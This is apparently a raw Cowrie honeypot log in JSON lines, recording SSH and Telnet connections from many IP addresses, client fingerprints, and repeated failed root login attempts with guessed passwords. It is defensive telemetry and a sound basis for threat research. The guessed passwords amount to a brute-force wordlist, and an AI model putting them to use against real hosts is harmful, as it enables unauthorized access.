{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:09.798352Z","src_ip":"103.75.183.219","session":"4040de842b96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39580,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aa80518781d","protocol":"ssh","message":"New connection: 103.195.236.96:39580 (10.17.0.5:22) [session: 8aa80518781d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:09.969367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:09.973937Z","src_ip":"103.195.236.96","session":"8aa80518781d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.91553354263306,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:10.050816Z","src_ip":"152.42.224.71","session":"d3f1198ea053","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:10.055800Z","src_ip":"103.75.183.219","session":"4040de842b96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:10.215189Z","src_ip":"103.195.236.96","session":"8aa80518781d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v","message":"login attempt [root/1z2x3c4v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:10.822881Z","src_ip":"103.75.183.219","session":"4040de842b96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090807","message":"login attempt [root/090807] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:11.056923Z","src_ip":"103.195.236.96","session":"8aa80518781d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:12.081086Z","src_ip":"103.75.183.219","session":"4040de842b96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:12.297309Z","src_ip":"103.195.236.96","session":"8aa80518781d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37252,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d876c2feee","protocol":"telnet","message":"New connection: 152.42.224.71:37252 (10.17.0.5:23) [session: 12d876c2feee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:13.968610Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":36760,"dst_ip":"159.203.135.109","dst_port":22,"session":"917389e38f35","protocol":"ssh","message":"New connection: 191.96.110.121:36760 (159.203.135.109:22) [session: 917389e38f35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:22.486143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:22.492939Z","src_ip":"191.96.110.121","session":"917389e38f35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:22.692861Z","src_ip":"191.96.110.121","session":"917389e38f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":36510,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a3a81e75ce2","protocol":"ssh","message":"New connection: 72.52.132.30:36510 (159.203.135.109:22) [session: 6a3a81e75ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:23.605568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:23.654144Z","src_ip":"72.52.132.30","session":"6a3a81e75ce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:23.682244Z","src_ip":"72.52.132.30","session":"6a3a81e75ce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nada","message":"login attempt [root/nada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:23.792328Z","src_ip":"191.96.110.121","session":"917389e38f35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:23.890095Z","src_ip":"72.52.132.30","session":"6a3a81e75ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:24.936634Z","src_ip":"72.52.132.30","session":"6a3a81e75ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:25.090041Z","src_ip":"191.96.110.121","session":"917389e38f35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":47702,"dst_ip":"159.203.135.109","dst_port":22,"session":"aef6f00d3eca","protocol":"ssh","message":"New connection: 43.133.34.13:47702 (159.203.135.109:22) [session: aef6f00d3eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:26.506844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:26.511178Z","src_ip":"43.133.34.13","session":"aef6f00d3eca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:26.748531Z","src_ip":"43.133.34.13","session":"aef6f00d3eca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"williams1","message":"login attempt [root/williams1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:27.732253Z","src_ip":"43.133.34.13","session":"aef6f00d3eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:28.972536Z","src_ip":"43.133.34.13","session":"aef6f00d3eca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00224351882935,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:44.705309Z","src_ip":"152.42.224.71","session":"d7b3041fb82a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54280,"dst_ip":"10.17.0.5","dst_port":23,"session":"5322d09c9fef","protocol":"telnet","message":"New connection: 152.42.224.71:54280 (10.17.0.5:23) [session: 5322d09c9fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:45.138994Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3e8cefaff99","protocol":"telnet","message":"New connection: 152.42.224.71:59106 (10.17.0.5:23) [session: a3e8cefaff99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:46.079422Z"}
{"eventid":"cowrie.session.closed","duration":66.89277362823486,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:47.657192Z","src_ip":"152.42.224.71","session":"1ed344c66a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.087597370147705,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:48.986060Z","src_ip":"152.42.224.71","session":"3376129f1deb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59116,"dst_ip":"10.17.0.5","dst_port":23,"session":"175e10f5d476","protocol":"telnet","message":"New connection: 152.42.224.71:59116 (10.17.0.5:23) [session: 175e10f5d476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:49.923310Z"}
{"eventid":"cowrie.session.closed","duration":42.85602331161499,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:52.334132Z","src_ip":"152.42.224.71","session":"8b6591444ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38072,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3ec217ac0f","protocol":"ssh","message":"New connection: 103.176.20.57:38072 (10.17.0.5:22) [session: 7e3ec217ac0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:59.868212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:59.872271Z","src_ip":"103.176.20.57","session":"7e3ec217ac0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:00.126122Z","src_ip":"103.176.20.57","session":"7e3ec217ac0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"master123","message":"login attempt [root/master123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:00.885665Z","src_ip":"103.176.20.57","session":"7e3ec217ac0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:02.138137Z","src_ip":"103.176.20.57","session":"7e3ec217ac0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00494194030762,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:05.720957Z","src_ip":"152.42.224.71","session":"d615925c64bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":45086,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6627cf178d0","protocol":"ssh","message":"New connection: 94.159.98.239:45086 (10.17.0.5:22) [session: a6627cf178d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:08.423793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:08.432263Z","src_ip":"94.159.98.239","session":"a6627cf178d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:08.563917Z","src_ip":"94.159.98.239","session":"a6627cf178d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42778,"dst_ip":"10.17.0.5","dst_port":23,"session":"c51d9d52807c","protocol":"telnet","message":"New connection: 152.42.224.71:42778 (10.17.0.5:23) [session: c51d9d52807c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:08.689779Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890d","message":"login attempt [root/1234567890d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:08.965534Z","src_ip":"94.159.98.239","session":"a6627cf178d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:10.093076Z","src_ip":"94.159.98.239","session":"a6627cf178d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42786,"dst_ip":"10.17.0.5","dst_port":23,"session":"46dc483a7cf6","protocol":"telnet","message":"New connection: 152.42.224.71:42786 (10.17.0.5:23) [session: 46dc483a7cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:12.188742Z"}
{"eventid":"cowrie.session.closed","duration":26.7869975566864,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:12.866287Z","src_ip":"152.42.224.71","session":"a3e8cefaff99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42650,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8e404298d1","protocol":"telnet","message":"New connection: 152.42.224.71:42650 (10.17.0.5:23) [session: 4d8e404298d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:22.675081Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58356,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e283a259e9d","protocol":"telnet","message":"New connection: 152.42.224.71:58356 (10.17.0.5:23) [session: 8e283a259e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:25.938869Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58372,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cabaa1f3f30","protocol":"telnet","message":"New connection: 152.42.224.71:58372 (10.17.0.5:23) [session: 3cabaa1f3f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:47:28.073743Z"}
